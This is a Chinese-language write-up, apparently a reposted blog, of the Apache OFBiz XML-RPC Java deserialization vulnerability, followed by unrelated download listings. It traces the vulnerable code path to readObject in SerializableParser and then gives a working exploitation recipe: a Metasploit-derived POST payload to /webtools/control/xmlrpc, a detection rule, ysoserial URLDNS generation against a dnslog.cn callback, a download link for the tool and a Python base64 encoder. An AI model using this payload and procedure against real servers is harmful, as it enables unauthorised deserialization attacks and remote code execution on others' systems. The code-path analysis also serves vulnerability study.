`

Ofbiz XML-Rpc 反序列化漏洞

 
阅读更多
漏洞影响版本#
< 17.12.04版本



漏洞请求地址:
https://xxxxx/webtools/control/xmlrpc


当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service faultString ,methodResponse
证明有漏洞存在。





根据/webtools/control/xmlrpc可知,我们去看webtools下的源码,来到webapp目录下的web.xml查看路由情况。


   
<servlet>
        <description>Main Control Servlet</description>
        <display-name>ControlServlet</display-name>
        <servlet-name>ControlServlet</servlet-name>
        <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>ControlServlet</servlet-name>
        <url-pattern>/control/*</url-pattern>
    </servlet-mapping>

通过代码可知道,我们control下面的uri都是转发到ControlServlet控制器当中。跳转到org.apache.ofbiz.webapp.control.ControlServlet的源码,在doPost里打下断点。

根据经验,下面这段代码才是路由器功能具体细分的代码,在这之前是对一些列的环境变量进行复制。

try {
            // the ServerHitBin call for the event is done inside the doRequest method
            requestHandler.doRequest(request, response, null, userLogin, delegator);
        }


跟入doRequest函数,走一遍看看。走完第一遍,再走第二遍的时候,根据注释// run the request event可以知道!











这块会根据uri的不同进行java反射机制跳转到对应的控制类进行操作。跟入runEvent函数:


   
public String runEvent(HttpServletRequest request, HttpServletResponse response,
            ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException {
        EventHandler eventHandler = eventFactory.getEventHandler(event.type);
        String eventReturn = eventHandler.invoke(event, requestMap, request, response);
        if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module);
        return eventReturn;
    }
invoke的出现大概的佐证了我们的想法。跟入invoke:

public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException {
        String report = request.getParameter("echo");
        if (report != null) {
            BufferedReader reader = null;
            StringBuilder buf = new StringBuilder();
            try {
                // read the inputstream buffer
                String line;
                reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
                while ((line = reader.readLine()) != null) {
                    buf.append(line).append("\n");
                }
            } catch (Exception e) {
                throw new EventHandlerException(e.getMessage(), e);
            } finally {
                if (reader != null) {
                    try {
                        reader.close();
                    } catch (IOException e) {
                        throw new EventHandlerException(e.getMessage(), e);
                    }
                }
            }
            Debug.logInfo("Echo: " + buf.toString(), module);

            // echo back the request
            try {
                response.setContentType("text/xml");
                Writer out = response.getWriter();
                out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                out.write("<methodResponse>");
                out.write("<params><param>");
                out.write("<value><string><![CDATA[");
                out.write(buf.toString());
                out.write("]]></string></value>");
                out.write("</param></params>");
                out.write("</methodResponse>");
                out.flush();
            } catch (Exception e) {
                throw new EventHandlerException(e.getMessage(), e);
            }
        } else {
            try {
                this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response));
            } catch (XmlRpcException e) {
                Debug.logError(e, module);
                throw new EventHandlerException(e.getMessage(), e);
            }
        }

        return null;
    }
来到this.execute函数,跟入:

 
    public void execute(XmlRpcStreamRequestConfig pConfig,
            ServerStreamConnection pConnection) throws XmlRpcException {
        try {
            Object result = null;
            boolean foundError = false;

            try (InputStream istream = getInputStream(pConfig, pConnection)) {
                XmlRpcRequest request = getRequest(pConfig, istream);
                result = execute(request);
            } catch (Exception e) {
                Debug.logError(e, module);
                foundError = true;
            }

            ByteArrayOutputStream baos;
            OutputStream initialStream;
            if (isContentLengthRequired(pConfig)) {
                baos = new ByteArrayOutputStream();
                initialStream = baos;
            } else {
                baos = null;
                initialStream = pConnection.newOutputStream();
            }

            try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) {
                if (!foundError) {
                    writeResponse(pConfig, ostream, result);
                } else {
                    writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information"));
                }
            }

            if (baos != null) {
                try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) {
                    baos.writeTo(dest);
                }
            }

            pConnection.close();
            pConnection = null;
        } catch (IOException e) {
            throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e);
        } finally {
            if (pConnection != null) {
                try {
                    pConnection.close();
                } catch (IOException e) {
                    Debug.logError(e, "Unable to close stream connection");
                }
            }
        }
    }


获取到了value的值,我们跟入看看getRequest函数。

   protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream)
            throws XmlRpcException {
        final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory());
        final XMLReader xr = SAXParsers.newXMLReader();
        xr.setContentHandler(parser);
        try {
            xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
            xr.setFeature("http://xml.org/sax/features/external-general-entities", false);
            xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            xr.parse(new InputSource(pStream));
        } catch (SAXException | IOException e) {
            throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e);
        }
        final List<?> params = parser.getParams();
        return new XmlRpcRequest() {
            public XmlRpcRequestConfig getConfig() {
                return pConfig;
            }
            public String getMethodName() {
                return parser.getMethodName();
            }
            public int getParameterCount() {
                return params == null ? 0 : params.size();
            }
            public Object getParameter(int pIndex) {
                return params.get(pIndex);
            }
        };
    }
在xr.parse(new InputSource(pStream));对input流数据进行了处理。
利用msf的exp进行发送测试:


POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Content-Type: text/xml
Content-Length: 643

<?xml version="1.0"?>
        <methodCall>
          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                  <name>#{rand_text_alphanumeric(8..42)}</name>
                    <value>
                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>

在调试器看到:






从源码上debug不到后,我就根据调试器里的报错来查看具体的类:






根据报错,我们知道了,有内容base64解码错误。根据exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>这里面的内容应该是base64后的内容。

然后给<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>再次发送。







断点在SerializableParser:


public class SerializableParser extends ByteArrayParser {
	public Object getResult() throws XmlRpcException {
		try {
			byte[] res = (byte[]) super.getResult();
			ByteArrayInputStream bais = new ByteArrayInputStream(res);
			ObjectInputStream ois = new ObjectInputStream(bais);
			return ois.readObject();
		} catch (IOException e) {
			throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);
		} catch (ClassNotFoundException e) {
			throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);
		}
	}
}







可知进行readObject是我们base64后的内容,即到达反序列化入口点。







开始利用漏洞:


1.如果没有ysoserial工具,这里下载:
https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc


2.http://www.dnslog.cn/ 获取一个可请求的地址

使用java -jar yso.jar URLDNS "http://你的地址" > url.bin,然后:

3.使用Python转Class为Base64
import base64


# payload = open("url.bin").read()
with open("./url.bin",'rb') as file:
    payload = file.read()

bbs = base64.b64encode(payload)

print(bbs)














反序列化工具ysoserial很强大,还有很多功能,具体学习请看
http://www.mamicode.com/info-detail-2407213.html

参考与[url]https:// www.cnblogs.com/ph4nt0mer/p/135767391.html[/url]

分享到:
评论

相关推荐

    python入门-30.寻找列表中只出现一次的数字-寻找单身狗.py

    python入门-30.寻找列表中只出现一次的数字——寻找单身狗.py

    布尔教育linux优化笔记

    linux优化笔记,配套视频:https://www.bilibili.com/list/474327672?sid=4496133&spm_id_from=333.999.0.0&desc=1

    知识付费系统-直播+讲师入驻+课程售卖+商城系统-v2.1.9版本搭建以及资源分享下载

    知识付费系统-直播+讲师入驻+课程售卖+商城系统-v2.1.9版本搭建以及资源分享下载,CRMEB知识付费分销与直播营销系统是由西安众邦科技自主开发的一款在线教育平台,该系统不仅拥有独立的知识产权,还采用了先进的ThinkPhp5.0框架和Vue前端技术栈,集成了在线直播教学及课程分销等多种功能,旨在为用户提供全方位的学习体验,默认解压密码youyacaocom

    美妆神域-JAVA-基于springBoot美妆神域设计与实现

    美妆神域-JAVA-基于springBoot美妆神域设计与实现

    原生js制作Google粘土logo动画涂鸦代码.zip

    原生js制作Google粘土logo动画涂鸦代码.zip

    golin 扫描工具使用, 检查系统漏洞、web程序漏洞

    golin 扫描工具使用, 检查系统漏洞、web程序漏洞

    原生态纯js图片网格鼠标悬停放大显示特效代码下载.zip

    原生态纯js图片网格鼠标悬停放大显示特效代码下载.zip

    用AWLUM进行灰色编码2^2n-QAM调制的精确率Matlab代码.rar

    1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 替换数据可以直接使用,注释清楚,适合新手

    去水印web端独立版web

    去水印web端独立版web

    原生js制作左侧浮动可折叠在线客服代码.zip

    原生js制作左侧浮动可折叠在线客服代码.zip

    Chrome 谷歌浏览器下载

    Chrome 谷歌浏览器下载

    亲测全新完整版H5商城系统源码 附教程

    全新完整版H5商城系统源码 自己花钱买的,亲测可用,需要自行下载 H5商城系统设置是实现商城基本功能的核心部分,涵盖了从网站配置、短信和支付配置,到商品、工单、订单、分站和提现管理等多个模块的设置。以下是详细的设置指南,帮助您快速上手并高效管理商城系统。 测试环境:Nginx+PHP7.0+MySQL5.6 1. 网站配置 设置商城名称、LOGO、标题、联系方式和SEO关键词等,确保商城专业和易于搜索。 2. 短信配置 配置短信接口和模板,用于发送订单通知、验证码等,提升用户体验。 3. 支付接口配置 配置微信、支付宝等支付接口,填写API密钥和回调地址,确保支付流畅。 4. 商品分类管理 对商品进行分类和排序,设置分类名称和图标,便于用户查找商品。 5. 商品管理 添加和管理商品信息、规格、图片等,确保商品信息准确丰富。 6. 工单管理 查看和回复用户工单,记录售后问题,提升用户服务质量。 7. 订单管理 查看订单详情,更新订单状态,支持批量导出,方便订单跟踪。 8. 分站管理 创建不同区域分站,设置权限,统一管理各区域市场。 9. 提现管理

    短信3.141592672893982398674234

    apk安装包

    原生js选项卡插件自定义图片滑动选项卡切换.zip

    原生js选项卡插件自定义图片滑动选项卡切换.zip

    1-宗教信息佛教佛寺寺庙庵堂相关数据-社科数据.zip

    宗教信息佛教佛寺寺庙庵堂相关数据集提供了全国各个地区省市县各个佛教寺庙的详细信息。这些数据不仅包括寺庙的名称和负责人姓名,还涵盖了所属省份、地级市、区县、具体地址、建立日期以及支派类别等关键信息。该数据集整理了超过3万条样本,为研究中国佛教寺庙的分布、历史和文化提供了丰富的第一手资料。这些信息有助于了解佛教在中国的传播和发展,以及寺庙在社会和文化中的作用。数据的整理和提供,对于宗教学、社会学、历史学和文化研究等领域的学者来说,是一个宝贵的资源。

    线性电阻网络的等效电阻计算Matlab代码.rar

    1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 替换数据可以直接使用,注释清楚,适合新手

    简单的 Python 版本管理.zip

    简单的 Python 版本管理pyenvpyenv 可让您轻松在多个 Python 版本之间切换。它简单、不引人注目,并遵循 UNIX 传统,即使用单一用途的工具来做好一件事。该项目由rbenv和 ruby​​-build分叉而来,并针对 Python 进行了修改。pyenv 的作用是什么......允许您根据每个用户更改全局 Python 版本。为每个项目的 Python 版本提供支持。允许您使用环境变量覆盖 Python 版本。一次搜索多个 Python 版本的命令。这可能有助于使用tox跨 Python 版本进行测试。与 pythonbrew 和 pythonz 相比,pyenv没有……依赖于Python本身。pyenv由纯shell脚本制作。不存在Python的引导问题。需要加载到你的 shell 中。相反,pyenv 的 shim 方法通过向你的 中添加目录来工作PATH。管理虚拟环境。当然,你可以自己创建虚拟环境 ,或者使用pyenv-virtualenv 来自动化该过程。目录安装获取 PyenvLinux/UNIX自动安装程序基本

    Notepad-v2.20工具,是替代Notepad++的首选工具

    Notepad-v2.20工具,是替代Notepad++的首选工具

    原生js随机图片拖拽排序代码.zip

    原生js随机图片拖拽排序代码.zip

    更快、更好、更稳定的Redis桌面(GUI)管理客户端,兼容Windows、Mac、Linux,性能出众,轻松加载海量键值

    更快、更好、更稳定的Redis桌面(GUI)管理客户端,兼容Windows、Mac、Linux,性能出众,轻松加载海量键值

Global site tag (gtag.js) - Google Analytics